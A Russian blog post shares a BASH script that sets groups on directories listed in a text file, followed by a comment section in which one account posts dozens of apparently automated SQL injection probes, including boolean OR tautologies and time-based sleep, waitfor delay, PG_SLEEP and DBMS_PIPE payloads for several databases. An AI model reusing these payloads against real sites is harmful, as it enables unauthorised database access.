Недавно пришлось решать немного странную задачку на BASH. Был список в текстовом формате:
группа=путь
Нужно было пройтись по каждому элементу списка и установить группу указанного в нём же. На сервере стоял старый BASH, ассоциативных массивов, в котором ещё небыло. Написал вот это:
  1. #!/bin/bash
  2. if [ "$1" == "--help" ] || [ "$1" == "help" ]
  3. then
  4.         echo "Использование: <имя скрипта> <путь до списка> <путь до лог-файла> Все параметры не обязательны. Если скрипт не получит путь до файла-списка - попытается открыть файл 'list' в своей директории. Тоже самое касается лог-файла.";
  5.         exit 0;
  6. fi
  7.  
  8. if [ -z "$2" ]
  9. then
  10.         log="log.txt";
  11. else
  12.         log=$2;
  13. fi
  14.  
  15. mess () {
  16.  
  17.         date=`date  %D-%r`;
  18.         echo "[ $date] $1" >> $log;
  19.         echo "[ $date] $1";
  20.  
  21.         if [ "$2" -eq 1 ]
  22.         then
  23.                 exit 1;
  24.         fi
  25. }
  26.  
  27. if [ -w "$log" ]
  28. then
  29. echo "";
  30. else
  31.         mess "Лог-файл не доступен для записи." 0;
  32. fi
  33.  
  34. if [ -z "$1" ]
  35. then
  36.         l="list";
  37. else
  38.         l=$1;
  39. fi
  40.  
  41. list=$(cat $l);
  42.  
  43. if [ -z "$list" ]
  44. then
  45.         mess "Ошибка при открытии файла-списка!" 1;
  46. fi
  47.  
  48. for i in $list;
  49. do
  50.         group=`echo $i|cut -d "=" -f 1`
  51.         dir=`echo $i|cut -d "=" -f 2`
  52.  
  53.         if `chgrp -R $group $dir`
  54.         then
  55.                 mess "Установлена группа '$group' для дир. '$dir'" 0;
  56.         else
  57.                 mess "Ошибка при обработке дир. '$dir'" 0;
  58.         fi
  59. done
Скрипт по умолчанию считывает текстовый файл "list", лежащий рядом, в его директории. Если есть потребность указать файл из другой директории, вызывайте скрипт так:
script <путь-до-файл-листа> <путь-до-лог-файла>
Ещё можно посмотреть help-сообщение, командой script --help.


nEcdyGgx

nEcdyGgx 13 Augustа в 18:33 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 2+703-703-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3+703-703-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2>(0+5+703-703) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 2+836-836-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3+836-836-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1 OR 3*2>(0+5+836-836)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 2+791-791-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3+791-791-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2>(0+5+791-791) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 2+427-427-1=0+0+0+1 or 'LROlOGqn'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3+427-427-1=0+0+0+1 or 'LROlOGqn'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1' OR 3*2>(0+5+427-427) or 'LROlOGqn'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 2+323-323-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 3+323-323-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1" OR 3*2>(0+5+323-323) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

Zs3j9xIF'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-5 OR 791=(SELECT 791 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-5) OR 297=(SELECT 297 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

-1)) OR 123=(SELECT 123 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

o2V9EOAy' OR 584=(SELECT 584 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

4zXheLSO') OR 16=(SELECT 16 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

yujgaOED')) OR 596=(SELECT 596 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:36 #

@@xOjEW

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 2+973-973-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 3+973-973-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 3*2>(0+5+973-973) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 2+968-968-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 3+968-968-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1 OR 3*2>(0+5+968-968)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 2+704-704-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 3+704-704-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 3*2>(0+5+704-704) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 2+970-970-1=0+0+0+1 or 'OJj6HVxI'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 3+970-970-1=0+0+0+1 or 'OJj6HVxI'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1' OR 3*2>(0+5+970-970) or 'OJj6HVxI'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1" OR 2+957-957-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1" OR 3+957-957-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1" OR 3*2>(0+5+957-957) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

sik7iCiD'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-5 OR 118=(SELECT 118 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-5) OR 95=(SELECT 95 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

-1)) OR 230=(SELECT 230 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:53 #

50fZu7Tg' OR 698=(SELECT 698 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

FgqcOnYd') OR 727=(SELECT 727 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

Uy2D4NY9')) OR 420=(SELECT 420 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

@@ZKDvI


Войдите или зарегистрируйтесь, чтобы написать комментарий.